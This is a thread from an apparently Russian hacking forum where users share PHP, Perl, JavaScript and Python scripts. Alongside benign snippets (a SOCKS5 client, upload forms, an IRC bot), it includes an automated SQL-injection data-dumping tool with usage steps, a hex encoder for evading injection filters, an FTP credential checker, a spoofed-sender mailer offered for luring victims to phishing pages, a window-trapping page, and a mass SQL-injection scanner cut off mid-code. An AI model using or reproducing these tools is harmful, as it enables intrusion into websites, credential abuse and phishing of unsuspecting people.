$answer = "";
stream_set_timeout($this->socket, 0, $this->socket_timeout);
do {
$buf = @fread($this->socket, 1024);
$socket_status = stream_get_meta_data($this->socket);
if ($buf && !$socket_status['timed_out'])
$answer .= $buf;
if ($socket_status['eof']) {
$this->socket = 0;
return false; // сервер закрыл коннект
}
} while (strlen($answer) < 2);
$response = @unpack("Cver/Cmethod", $answer);
if ($response["ver"] == 0x05 and $response["method"] == 0x00)
return true;
fclose($this->socket);
$this->socket = 0;
}
return false;
}

// установка TCP-соединения с хостом через сокс-сервер
// после успешного соединения флаг $this->connected устанавливается в true
// возвращает true/false
function socks5_connect($host, $port)
{
if ($this->socket) {
if (ip2long($host) == -1)
fwrite($this->socket, pack("C5", 0x05, 0x01, 0x00, 0x03, strlen($host)) . $host .
pack("n", $port));
else
fwrite($this->socket, pack("C4Nn", 0x05, 0x01, 0x00, 0x01, ip2long(gethostbyname
($host)), $port));
$answer = "";
do {
$buf = @fread($this->socket, 1024);
$socket_status = stream_get_meta_data($this->socket);
if ($buf && !$socket_status['timed_out'])
$answer .= $buf;
if ($socket_status['eof']) {
$this->socket = 0;
return false; // сервер закрыл коннект
}
} while (strlen($answer) < 4);
$response = @unpack("Cversion/Cresult/Creg/Ctype/Lip/Sport", $answer);
if ($response["version"] == 0x05 and $response["result"] == 0x00) {
$this->connected = true;
return true;
}
}
return false;
}

// позволяет получить дескриптор сокета соединения с сокс-сервером
// после того, как соединение через сокс установлено, можно напрямую отправлять/принимать данные из этого сокета,
// общаясь таким образом с удаленным хостом. Все выглядит так, как будто сокет соединен напрямую с целевым хостом.
// Совет: пользоваться этой функцией с осторожностью, не вызывать напрямую fclose(), юзать метод socks5_closeconnection()
// Вопрос: зачем эта функция, если она нарушает инкапсуляцию класса?
// Ответ: да, это пренебрежение к канонам ООП, но зато делает удобной доработку существующих скриптов в сторону
// соксификации. Вместо того, чтобы отлаживать ещё один слой ввода-вывода, легче дописать к скрипту процедурку
// инициализации соединения через сокс + добавочную обработку ошибок (специально для соксов), а потом просто получать
// дескриптор сокета и не трогать исходные вызовы fread(), fwrite() или stream_set_timeout(). Если же необходимо
// закрыть соединение, достаточно просто вместо fclose() вызвать socks5_closeconnection(). В том случае, если сокс
// отваливается по таймауту, вообще не надо ничего менять, и разрыв коннекта интерпретируется скриптом по-старому.
function socks5_getsocket()
{
return $this->socket;
}

function socks5_closeconnection()
{
//if ($this->socket)
@fclose($this->socket);
$this->connected = false;
$this->socket = 0;
}
}
?>


Использование


<?php
set_time_limit(0);

include("socks.class.php");

$server_name = "whatismyip.com";
$server_port = 80;
$socks = new socks5("127.0.0.1", 33142);
$socks->socks5_init();
if ($socks->socks5_connect($server_name, $server_port)) {

// формируем запрос ,который будет отправлен, через сокс, серверу
$head = "GET / HTTP/1.0\r\n";
$head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n";
$head .= "Host: www.whatismyip.com\r\n";
$head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$head .= "Accept-Language: ru,en;q=0.9\r\n";
$head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$head .= "Proxy-Connection: close\r\n\r\n";

fwrite($socks->socks5_getsocket(),$head);
// считываем ответ HTTP-сервера через SOCKS-сервер до конца =)
while(!feof($socks->socks5_getsocket()))
{
$l=fread($socks->socks5_getsocket(),1024);
echo $l;
}

}
?>

mr.The
26.08.2008, 16:41
Функция получения страницы через сокеты.
Параметры:

$site - адрес сайта без http .обязательный параметр.
$page - адрес страницы сайта .обязательный параметр.
$isheaders=false - получать ли заголовки. по умолчанию выкл.
$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)' - браузер
$ref='' - реферрер
$cookie='' - печеньки
$post='' - пост данные


function get_page($site,$page,$isheaders=false,$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)',$ref='',$cookie='',$post='')
{
$page=trim($page);
$site=trim($site);
$socket = fsockopen($site, 80, $errno, $errstr, 15);
if ($socket){

if ($post!=''){
$send = "POST $page HTTP/1.0\r\n";
$send .= "Content-Length: ". strlen($post) ."\r\n";
$send .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
} else $send = "GET $page HTTP/1.0\r\n";
$send .= "User-Agent: $ua\r\n";
$send .= "Host: $site\r\n";
$send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
if($ref!='') $send .= "Referer: $ref\r\n";
if($cookie!=''){
$send .= "Cookie: $cookie\r\n";
$send .= 'Cookie2: $Version=1'."\r\n";
}
$send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n";
$send .= "Connection: close\r\n\r\n".$post;


if(fputs($socket,$send)) {
if(!$isheaders) while(fgets($socket,1024)!="\r\n" && !feof($socket));
$he="";
while(!feof($socket)) $he.=fread($socket,10240);
};
fclose($socket);
}
return $he;
};

deniska1517
27.08.2008, 13:32
определение даты и времени на сервере:

<?php
$data = date('Y-m-d [H:i:s]');
echo "Текущая дата и время на сервере: $data";
?>

Vid0k
27.08.2008, 14:45
print md5($password);
???

mff
28.08.2008, 09:15
Пример скипта загрузки файлов на сервер:
<?php
if ($HTTP_POST_VARS['submit'])
{
if (!is_uploaded_file($HTTP_POST_FILES['file']['tmp_name']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES['file']['size'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES['file']['tmp_name']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the
temporary file:
copy($HTTP_POST_FILES['file']['tmp_name'],$HTTP_POST_FILES['file']['name']);
unlink($HTTP_POST_FILES['file']['tmp_name']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>

<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>

mff
28.08.2008, 09:22
FTP Account checker
<html>
<head>
<style type="text/css">
body {background-color: darkgray}
</style>
</head>
<center>
<form action="check.php" method="post"><br>
Host:<input type="text" name="host"><br>
User:<input type="text" name="user"><br>
Pass:<input type="text" name="pw"><br>
<br><input type="submit" value="Check" /></table><br>
</form>
<center/>

check.php:
<?php
$host = $_POST["host"];
$user = $_POST["user"];
$pass = $_POST["pw"];
$con = ftp_connect($host) or die("cant connect");
if (@ftp_login($id, $user, $pass)) {
echo "<font color=blue>Working!</font>";
} else {
echo "<font color=red>Not working</font>";
}

ftp_close($con);
?>

mff
28.08.2008, 10:17
SOCKS Proxy List Checker

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket::INET;

# SOCKS Proxy List Checker
# Coded by sToRm
# www.GoNullYourself.org
#
# Accepts proxy list in
# 1.2.3.4:1111 format



if ( @ARGV != 1 ) {
print "Usage: $0 <file>\n";
exit(1);
}

open(PROXIES, "<$ARGV[0]") or die($ARGV[0].' wasn\'t found');

open(VALID, '>>valid.txt') or die('valid.txt isn\'t writable');

my ($connectable, $unconnectable, $invalid) = (0, 0, 0);

while(<PROXIES>) {

chomp($_);

my $line = $_;

if ($line =~ /([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\:([0-9]){1,5}/) {

my @proxy = split(/:/, $line);

my $SOCK = IO::Socket::INET->new (
PeerAddr => $proxy[0],
PeerPort => $proxy[1],
Timeout => 2,
);

if ( $SOCK ) {
print "[+] $line\n";
print VALID $line."\n";
++$connectable;
} else {
print "[-] $line\n";
++$unconnectable;
}
} else {
print "[-] $line is invalid\n";
++$invalid;
}
}

my $total = $connectable + $unconnectable + $invalid;

print "\nProxy list exhausted\n";
print "Connectable: $connectable\n";
print "Unconnectable: $unconnectable\n";
print "Invalid Lines: $invalid\n";
print "Total Checked: $total\n";
print "Working proxies saved to valid.txt\n";

.:EnoT:.
28.08.2008, 13:14
Пример скипта загрузки файлов на сервер:
омг, $HTTP_POST_VARS давно не рулит.
Вот мой пример:


<?php
/*
Пример загрузки файлов на сервер
*/
#Дира для загруженных файлов
$uploaddir = '';
#Разрешённые типы файлов (через запятую)
$types = 'jpeg,gif,png,rar,zip';
#Максимальный размер файла (в килобайтах)
$maxsize = 100;

if(!empty($_FILES)){
$maytypes = explode(',', str_replace(' ', '', $types));
foreach($maytypes as $maytype){
if(stristr($_FILES['filename']['type'], $maytype)){
$may = 1;
break;
}else{
$may = 0;
}
}
if($may){
if($_FILES['filename']['size'] <= $maxsize*1024){
$dir = './'.$uploaddir.'/'.basename($_FILES['filename']['name']);
if(copy($_FILES['filename']['tmp_name'], $dir)){
echo 'Файл успешно загружен.<br/>
Ссылка на файл: <a href="'.$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>';
}else{
echo 'Возникли ошибки при загрузке файла';
}
}else{
echo 'Размер файла превышает '.$maxsize.' килобайт';
}
}else{
echo 'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types;
}
}
?>
<form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data">
<input name="filename" type="file" /><br />
<input type="submit" value="Загрузить" />
</form>

heretic1990
28.08.2008, 13:48
Название скрипта: SubsribleMaxGal
Назначение: организация подписки на новости вашего сайта, вашу другую информацию. Теперь нет необходимости пользоваться бесплатными сервисами подписок, типа www.subscrible.ru и другие.
Файлы :
subscrible.html - это форма для регистрации нового подписчика
subscrible.php - основной скрипт системы подписки
usersnot.txt - файл с электронными адресами подписчиков не прошедших до конца регистрацию
users.txt - подписчики, прошедшие регистрацию
Использование:
после того, как новый подписчик введет свой электронный адрес, ему будет отправлено письмо, в котором будет указана ссылка, по которой необходимо пройти, чтобы завершить регистрацию.
Для входа в административную панель, необходимо в браузере загрузить subscrible.php
Если это первый вход, вам будет предложено создать файл с паролем и логином, пароль шифруется внутренним алгоритмом php md5, что исключает возможность расшифровки.
Далее думаю разберетесь.

subscrible.html

<html>
<body>
<form action=subscrible.php method=post>
<b><center>Пожалуйста, введите Ваш e-mail:<input type=text size=15 name=email>
<input type=submit value="Подписаться">
</form>
</body>
</html>

subscrible.php

<?php

if ( isset ($id) )
{
$data = File ("users.txt");

for ($i=0;$i<count($data);$i++) {
$dat = explode (":", $data[$i]);
echo "<center><table border=1 bgcolor=lightblue>";
echo "<tr><td><center>Email<td><center>Дата регистрации</tr>";
echo "<tr><td><center>$dat[0]<td><center>$dat[1]</tr></table><br>";
}
echo "<a href=\"subscrible.php\">Назад</a>";
exit;
}

if ( isset ($text) && isset ($subject) )
{
if ($text == "" OR $subject == "")
{
echo "<b><center>Не указана тема или текст подписки !";
echo "<p><a href=\"subscrible.php\">Назад</a>";
exit;
}

$data = File ("users.txt");
for ($i=0;$i<count($data);$i++) {
$dt = explode (":", $data[$i]);
$to = $dt[0];
$text = $text."\r\n\r\n\r\n --";
mail ($to, $subject, $text);
echo "<center>$to -> отправлено<br>";
}
echo "Рассылка успешно отправлена, спасибо за использование системы";
exit;
}

if ( isset ($login) && isset ($password))
{

if ( ! file_exists ("passwordad.txt") )
{
$password = md5 ($password);
$fp = fopen ("passwordad.txt", "w");
fputs ($fp, "$login:$password");
fclose ($fp);
echo "<b><center><i>Вход для администратора подписок<p></i>";
echo "Файл с паролем создан успешно !<p>";
echo "<form action=subscrible.php method=post>";
echo "<table border=0 bgcolor=lightblue>";
echo "<tr><td>Login<td><input type=text size=15 name=login></tr>";
echo "<tr><td>Password<td><input type=text size=15 name=password></tr>";
echo "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>";
echo "</table>";
exit;
}

$data = File ("passwordad.txt");
$dat = explode (":", $data[0]);
$password = md5 ("$password");
if ($dat[0] == "$login" && $dat[1] == "$password")
{
$data = File ("users.txt");
echo "<b><center><h2>Административная панель</h2><p>";
echo "Всего зарегистрировано подписчиков: ".count($data)."<p>";
echo "<br><a href=\"subscrible.php?id=1\">Посмотреть всех подписчиков</a><br>";
if (count($data) == 0)
{
echo "<b><center>Не кому делать рассылку !";
exit;
}
echo "<form action=subscrible.php method=post>";
echo "<input type=submit value=\"Разослать подписчикам\"<p>";
echo "<p>Укажите тему, которая будет подставляться в письмо при отправке информации подписчикам<br>";
echo "<p><input type=text size=20 name=subject>";
echo "<p>Введите в текстовое поле текст Вашей рассылки (можно указывать html-теги)<br>";
echo "<textarea name=text cols=85 rows=10></textarea>";
echo "</form>";
exit;
}

}

if ( ! isset ($email) && ! isset ($number) )
{
echo "<b><center><i>Вход для администратора подписок<p></i>";
if ( ! file_exists ("passwordad.txt") )
{ echo "Вы входите первый раз, сейчас будет создан файл с Вашим логином и паролем"; }
echo "<form action=subscrible.php method=post>";
echo "<table border=0 bgcolor=lightblue>";
echo "<tr><td>Login<td><input type=text size=15 name=login></tr>";
echo "<tr><td>Password<td><input type=text size=15 name=password></tr>";
echo "<tr><td colspan=2><center><input type=submit value=\"ВХОД\"></tr>";
echo "</table>";
exit;
}

$data = File ("usersnot.txt");

if ( isset ($number) && isset ($email) )
{

for ($i=0;$i<count($data);$i++) {
$dat = explode (":", $data[$i]);
if ( $dat[0] == "$email" && $dat[1] == "$number\r\n")
{
$datemom = date ("d F", time());
$fp = fopen ("users.txt", "a");
fputs ($fp, "$email:$datemom\r\n");
fclose ($fp);
$fp = fopen ("usersnot.txt","w");
for ($f=0;$f<count($data);$f++) {
$da = explode (":", $data[$f]);
if ($da[0] == $email)
{ $data[$f] = trim (""); }
fputs ($fp, $data[$f]."\r\n");
}
fclose ($fp);

echo "<b><center>Спасибо за регистрацию !";
exit;
}
}
echo "Не могу найти запись !";
exit;
}

if ( isset ($email) )
{

$email = substr ($email, 0, 50);
if ( ! stristr ($email, "@") )
{
echo "<b><center>Указан неверный e-mail !";
exit;
}
$data = File ("users.txt");
for ($i=0;$i<count($data);$i++) {
$dat = explode (":", $data[$i]);
if ($dat[0] == "$email")
{
echo "На этот адрес уже произведена подписка !";
exit;
}
}

$randomess = rand(99999999, 10000);
$site = "127.0.0.1/subscrible/subscrible.php";
$to = $email;
$subject = "Подтверждение подписки !";
$message = "Здравствуйте\r\nНа Ваш электронный адрес $email была произведена подписка с сайта $site\r\nДля подтверждения подписки пройдите по следующей ссылке: http://$site?email=$email&number=$randomess";
mail ($to, $subject, $message) or print ("Не могу отправить письмо !");
$fp = fopen ("usersnot.txt", "a");
fputs ($fp, "$email:$randomess\r\n");
fclose ($fp);
}

?>

usersnot.txt , users.txt - пустые файлы

MONARH
28.08.2008, 14:25
Может у кого есть рабочий скрипт, с вот такими функциями как тут (http://never-mind.ru/sendmail/) ??? Все что выкладывалось ранее уже не работает.

rushter
31.08.2008, 18:45
JavaScript Source Code 3000. With almost 800 ready-to-use Java Scripts that you can cut & paste into your own web pages

* Ad Management
* Affiliate Programs
* Blog
* Bookmark Management
* Calculators...
* Calendars
* Chat Scripts
* Classified Ads
* Click Tracking
* Communication Tools
* Content Management
* Contests and Awards
* Countdowns
* Counters
* Customer Support
* Database Tools
* Date and Time
* Development Tools
* Discussion Boards
* Documents
* E-Commerce
* Education
* Email Systems
* Error Handling
* Exchanges
* FAQ and Knowledgebase
* File Manipulation
* Financial Tools
* Flash and PHP
* Form Processors
* Games and Entertainment
* Graphs and Charts
* Groupware Tools
* Guestbooks
* Healthcare
* Image Galleries
* Image Handling
* Interactive Stories
* Link Checking
* Link Indexing
* Mailing List Managers
* Multimedia
* Music Libraries
* Networking Tools
* News Publishing
* Organizers
* Polls and Voting
* Portal Systems
* Postcards
* Quote Display
* Randomizing
* Redirection
* Reviews and Ratings
* Search Engines
* Security Systems
* Server Management
* Site Mapping
* Site Navigation
* Site Recommendation
* Software Repository
* Tests and Quiz
* Top Sites
* Unsorted
* URL Submitters
* Usenet Gateway
* User Authentication
* User Management
* Vertical Markets
* WAP and WML
* Web Fetching
* Web Hosting Tools
* Web Rings
* Web Search
* Web Traffic Analysis
* XML and PHP

http://rapidshare.com/files/135428778/3000_Javascript.rar

mff
02.09.2008, 15:22
[PERL]Simple IRC Bot
use IO::Socket;

= "irc.not-a-bot.net";
= 1337;
= "#test";
= "perlbot";

= IO::Socket::INET->new(Proto => "tcp", PeerAddr => "", PeerPort => "") || die "Failed to connect to :\n";
print "NICK \r\n";
print "USER \r\n";
print "JOIN \r\n";
print "PRIVMSG :Hello\r\n";
while(<>) {
print ;
if(/PING/) {
= ;
=~ s/PING/PONG/;
print ;
} elsif(/PRIVMSG/) {
= ;
=~ s/\r\n//; # Remove \r\n
@tokens = split /:/, ; # Split line into tokens
@command = split / /, @tokens[1]; # Split second token (first is just blank in this case)
@message = split / /, @tokens[2]; # Split third token
@user = split /!/, @command[0]; # Split first command token, which is USERNAME!USERHOST
if( =~ m/.exit/) {
print "PRIVMSG :Exit command sent by ()\r\n";
print "QUIT :\r\n";
close ;
}
if( =~ m/.join/) {
print "PRIVMSG :Join command sent by ()\r\n";
print "JOIN \r\n";
}
if( =~ m/.msg/) {
print "PRIVMSG :Message command sent by ()\r\n";
print "PRIVMSG :\r\n";
}
}
}

Sarkis
02.09.2008, 15:49
Не дает закрвать окно.

<html>
<head>
<title>Press ALT+F4</title>
</head>

<body onunload="goodBye()">
<p align="center">
<b>Yuo cant close your browser window</b>
</p>
<script language="JavaScript">
<!--
function goodBye()
{window.open("Cantclose.htm");}
//-->
</script>
<p align="center">
<b>Try Alt+F4!</b>
</p>
</body>
</html>

5triker
02.09.2008, 19:33
Не дает закрвать окно.
ну просто мега полезный скрипт , особенно када у большинсва яваскрипт вопще отключен

Sarkis
02.09.2008, 21:24
Позволяет узнать выставленную кодировку.

<script>
var u=navigator.userAgent;
if (u.indexOf("Win") != -1) // Текст в 1251
document.writeln ("Windows 1251");
else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866
document.writeln("MS-DOS CP866"); // Текст в K018
else document.writein ( "лПДЙТПЧЛБ KOI8-R");
</script>

NOmeR1
02.09.2008, 21:35
Sarkis, ну ты молодец, конечно!
Дай угадаю! Следущий скрипт будет показывать последнее обновление страницы?
https://forum.antichat.ru/showpost.php?p=216169&postcount=3

Pashkela
03.09.2008, 04:02
Программа MySQL5tool предназначена для автоматизации процесса получения информации посредством SQL-Inject на сайтах под управлением MySQL5 и более поздних версий (т.е. там где присутствует information_schema) + для версий MySQL<5 при условии, что вам известны имя хотя бы одной таблицы и имя хотя бы одного поля из этой таблицы

В комплекте 6 файлов:

1. mysql5tool.exe - сама программа

2. source_url.txt - файл инициализация URL, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например: http://www.sait.ru/index.php?id=1+union+select+1,№

3. source_filtr.txt - файл инициализации фильтра (/*,-- или просто пусто)

4. source_host.txt - файл инициализации взламываемого хоста. Если посмотреть выше - то www.sait.ru

5. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу mysql5tool.exe. Она автоматически выяснит и сохранит без вашего участия в файл output.txt следующие параметры:
1) Точная версия MySQL
2) Имя базы
3) Пользователь базы
4) Кол-во таблиц в information_schema.TABLES
5) Список таблиц из information_schema.TABLES

6. После того, как вы получили список таблиц из information_schema, вы можете получить список полей интересующей вас таблицы, для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить mysql5tool.exe. Будет выяснен список всех полей интересующей вас таблицы и сохранен также в файл output.txt

7. Когда вы узнали список полей интересующей вас таблички, вы можете получить данные по интересующим вас только что узнанным полям (т.е. сама суть SQL-inj). Для это вам просто надо надо занести список интересующих Вас полей (не больше 3-х за раз) в файл source_column.txt, можно заносить как одно поле, так и несколько. Несколько полей заносятся просто через запятую и без пробелов. Чтобы получить информацию - запустите снова mysql5tool.exe. Данные будут выведены на экран и также сохранены в файл output.txt


Программа написана на чистом PHP

Приятного хакинга:)

Example: http://www.site.org/index.php?id=1+union+select+1,version()/*
source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№"
source_host.txt: "www.site.org"
source_filtr.txt: "/*"
source_table.txt: ""
source_column.txt: ""

Скачать здесь http://pashkela.narod.ru/progi/MySQL5tool.rar (пароль 123)

(с) Pashkela

Final version 08.09.2008

M()N$TeR
03.09.2008, 16:10
Часто новички задаются вопросами вот как отослать анонимное мыло чтоб заманить жертву на фейк. вот простенький скрипт для отправки мыла на пхп коде:


<HTML>
<body bgcolor=fffafa>
<h1 align="center"><font color=aaaaaa>This MailScript Produced by M()N$TeR</font></h1>
<table align="center">
<form method="POST" action="sendmail.php">
<tr>От кого: <br>
<input type="TEXT" name="frommail">
<br>Кому:<br> <input type="TEXT" name="tomailz">
<br>Тема: <br><input type="TEXT" name="mailtema">
<br>Текст: <br>
<td><textarea name="mailtext" rows="10" cols="60"></textarea></td>
</tr>
<tr>
<td align=center><input type="submit" value="Отправить" name="submit"></td>
</tr>
</form>
<?
if (isset($submit)){

mail($_POST['tomailz'],$_POST['mailtema'],$_POST['mailtext'],"From: $_POST['frommail'] ");
echo "<h2>Сообщение отправлено!</h2>";
}


?>
</body>
</html>


---------------------------------------------------------------------------------
незабудте назвать ваш скрипт sendmail.php

Pashkela
04.09.2008, 21:34
Не знаю было тут или нет, поэтому заранее прошу прощения, если было. Скрипт для перекодировки текста в HEX в 2-х вариантах:

1. 0x
2. %


<?
$fout=fopen('url_in_HEX.txt','a+');
$source_column2 = fopen('source.txt','r');
$source_column1 = fgets($source_column2);
fwrite ($fout,$source_column1 . "\r");
fclose($source_column2);
function ascii2hex($ascii) {
$hex = '';
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$hex.=$byte." ";
}
return $hex;
}
$source_column2 = ascii2hex($source_column1);
$patterns[0] = "/ /";
$replacements[0] = "";
$source_column3 = preg_replace($patterns, $replacements, $source_column2);
$source_column3 = "0x$source_column3";
$patterns[0] = "/ /";
$replacements[0] = "%";
$source_column4 = preg_replace($patterns, $replacements, $source_column2);
$source_column4 = "%$source_column4";
echo "\n";
echo $source_column3;
echo "\n";
echo $source_column4;
echo "\n";
fwrite ($fout,$source_column3 . "\r");
fwrite ($fout,$source_column4 . "\r");
fclose($fout);
?>


где source.txt - файл с текстом, url_in_HEX.txt - результат.

Очень удобно при SQL-inj, когда фильтруются кавычки и etc.

В виде .exe (включая исходник) можно скачать здесь:

http://pashkela.narod.ru/progi/Text2HEX.rar

tick
06.09.2008, 15:13
ребята, измените за оффтоп!

Вот вчера был на сайте и видел скрипт, который короче при заходе на сайт кого либо активируеться баннер ну типа зарабаток деньги за клик, только им кликать не надо а тупо на сайт заходить. надеюсь вы меня поняли :d

я 3 раза 40 стр перелесттал найти не могу, поиск не помог :(

.::BARS::.
06.09.2008, 15:21
ребята, измените за оффтоп!

Вот вчера был на сайте и видел скрипт, который короче при заходе на сайт кого либо активируеться баннер ну типа зарабаток деньги за клик, только им кликать не надо а тупо на сайт заходить. надеюсь вы меня поняли :d

я 3 раза 40 стр перелесттал найти не могу, поиск не помог :(
не понятно... пример кинь если можешь... или подробней расскажи!? ты зашел на сайт, а там реклама и что дальше?

mr.The
06.09.2008, 15:31
инфрейм либо javascript. врядли что-то ещё..

tick
07.09.2008, 07:14
не понятно... пример кинь если можешь... или подробней расскажи!? ты зашел на сайт, а там реклама и что дальше?

Вот я зашел в эту тему! И был скрипт!

"Вот вылаживаю скрипт, думаю пригоидться многим ко зарабатывает на кликах т.е. баннерах, когда кто-то входит на сайт он автоматически кликает на баннер т.е."

Этот код внедрять в index.php надо!

(млин сложно обьяснить я процитировал что человек говорил, он отписывался в этой теме).

bons
08.09.2008, 01:37
Может кому-то будет нужен;)
Скрипт на перле качает фотки с xuk.ru


#Скрипт закачивает фотки с xuk.ru ;)
use LWP;
use strict;

my $n = shift;
my $html = '';
if(defined($n))
{
$html = "$n.html";
$n = " - $n";
}
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isd st)=localtime(time);
my $newdir = sprintf "%02u-%02u-%04u$n",$mday,$mon+1,$year+1900;
mkdir $newdir || die 'cannot create directory';
chdir $newdir;

my $ua = LWP::UserAgent->new;
my $res = $ua->get("http://xuk.ru/$html");
die 'cannot connect' unless $res->is_success;
my @main = split /\x0D\x0A/, $res->content;
my @girl_url;

foreach (@main)
{
if(/vid-1\.html/)
{
push @girl_url, $& if /http:\/\/xuk\.ru\/.*vid-1\.html/;
}

}

foreach (@girl_url)
{
my $folder = substr $&, 1, -11 if /\/[\w-]*\/vid-1.html/;
print "FOLDER: $folder\n";
mkdir $folder || die 'cannot create directory';
$res = $ua->get($_);
unless($res->is_success)
{
warn "cannot connect\n";
next
}
my @vid = split /\x0D\x0A/, $res->content;
my @foto_url;
foreach(@vid)
{
if(/<img alt="Эротика/)
{
push @foto_url, $& if /http:\/\/pic\.xuk\.ru\/files.*\.jpg/;
}
}
foreach (@foto_url)
{
my $filename = substr $&, 1 if /\/[\w-\(\)\.]*\.jpg/;
print "\tFILE: $filename\n";
$ua->get($_, ':content_file' => "$folder/$filename");
}
}

chdir '..';

[Dezzter]
08.09.2008, 17:43
Может у кого есть скрипт,который будет заливать файл с компьютера на хост, чтобы после закачки выдавал ссылку на закачанный файл, только ссылку зашифрованную
www.site.ru/music/sd5f4gs6d5f4g56/
и чтобы можно было заливать файл в разные папки на хосте, ну просто выбираешь категорию файла, например музыка и закачиваешь и файл закачивается в site.ru/music/ или выбираешь категорию programm то закачивается в site.ru/programm/
Вообщем тут сделал не большую картинку для наглядного примера:
http://img225.imageshack.us/img225/2690/downloadfy0.jpg (http://imageshack.us)
http://img225.imageshack.us/img225/2690/downloadfy0.a0ebec48f1.jpg (http://g.imageshack.us/g.php?h=225&i=downloadfy0.jpg)

DDoSька
09.09.2008, 05:41
']Может у кого есть скрипт,который будет заливать файл с компьютера на хост, чтобы после закачки выдавал ссылку на закачанный файл, только ссылку зашифрованную

и чтобы можно было заливать файл в разные папки на хосте, ну просто выбираешь категорию файла, например музыка и закачиваешь и файл закачивается в site.ru/music/ или выбираешь категорию programm то закачивается в site.ru/programm/
Вообщем тут сделал не большую картинку для наглядного примера:
http://img225.imageshack.us/img225/2690/downloadfy0.jpg (http://imageshack.us)
http://img225.imageshack.us/img225/2690/downloadfy0.a0ebec48f1.jpg (http://g.imageshack.us/g.php?h=225&i=downloadfy0.jpg)
Обычный скрипт для загрузки изоражений напиши,а шифровку сделай через Base64,все будет намного проще!Тем более там всего лишь картинки,прятать нечего =)

winstrool
12.09.2008, 11:09
<? $dir1="./musik/"; $dir2="./film/";
$dir3="./123/"; ?> <FORM ENCTYPE='multipart/form-data' METHOD=POST>
файл: <INPUT NAME='front' TYPE='file'>
<select name="dir" size="1">
<option value="<? echo $dir1; ?>">Музыка </option>
<option value="<? echo $dir2; ?>">Фильмы </option>
<option value="<? echo $dir3; ?>">И т.д. </option>
</select> <INPUT TYPE='submit'>
</FORM>
<?php $tmp_name="tmp.jpg";
if(isset($_FILES['front']['name']))
{
$tmpName = $_FILES['front']['tmp_name'];
$name = base64_encode($front);
$n=str_replace("=","",$name);
$newName = $dir.$n.".jpg";
if(!is_uploaded_file($tmpName) || !move_uploaded_file($tmpName, $newName))
{ echo "error";


}

} ?>

будут вопросы пиши, прокоментирую, что к чему...

GumaNoiD
13.09.2008, 21:00
Есть у кого сканер на sql инъекции?

alextoun
13.09.2008, 23:15
#!/usr/bin/python

from sgmllib import SGMLParser
import sys, urllib, re, urllib2, sets

class URLLister(SGMLParser):
def reset(self):
SGMLParser.reset(self)
self.urls = []

def start_a(self, attrs):
href = [v for k, v in attrs if k=='href']
if href:
self.urls.extend(href)

def test(host):
source = urllib2.urlopen(host+sys.argv[2]).read()
if re.search("Warning", source) != None:
print "\n\t[!] SQL:",host+sys.argv[2]
if re.search("mysql_fetch_array()", source) != None:
print "\t[!] Found: mysql_fetch_array() error\n"
if re.search("You have an error in your SQL syntax", source) != None:
print "\t[!] Found: sql syntax error\n"


print "\n\t SQLtest v1.2"
print "\t--------------------------------------------\n"

if len(sys.argv) != 3:
print "Usage : ./sqltest.py <list of sites> <payload (-1, 999999)>"
print "Eg: ./sqltest.py sites.txt \"-1\"\n"
sys.exit(1)

try:
sites = open(sys.argv[1], "r").readlines()
except(IOError):
print "Error: Check your site list path\n"
sys.exit(1)

print "[+] Loaded:",len(sites),"sites"
print "[+] Payload:",sys.argv[2]

for site in sites:
site = site.replace("\n","")
if site.find("http://") != -1:
site = site.replace("http://","")
site = "http://"+site.rsplit("/",1)[0]
if site.find("https://") != -1:
site = site.replace("https://","")
site = "https://"+site.rsplit("/",1)[0]
print "\n[+] Collecting:",site
try:
usock = urllib.urlopen(site)
parser = URLLister()
parser.feed(usock.read())
parser.close()
usock.close()
if len(parser.urls) >=1:
urls2 = []
for url in parser.urls:
if url.find("://") == -1:
if url[0] == "/":
url = site+url
else:
url = site+"/"+url
if url.count("=") >= 2:
for x in xrange(url.count("=")):
urls2.append(url.rsplit("=",x+1)[0]+"=")
if url.find("=") != -1:
if url[0] == "/":
urls2.append(site+url.split("=",1)[0]+"=")
else:
urls2.append(url.split("=",1)[0]+"=")
urls2 = list(sets.Set(urls2))
print "[+] Links Found:",len(urls2),"\n"
else:
urls2 = []
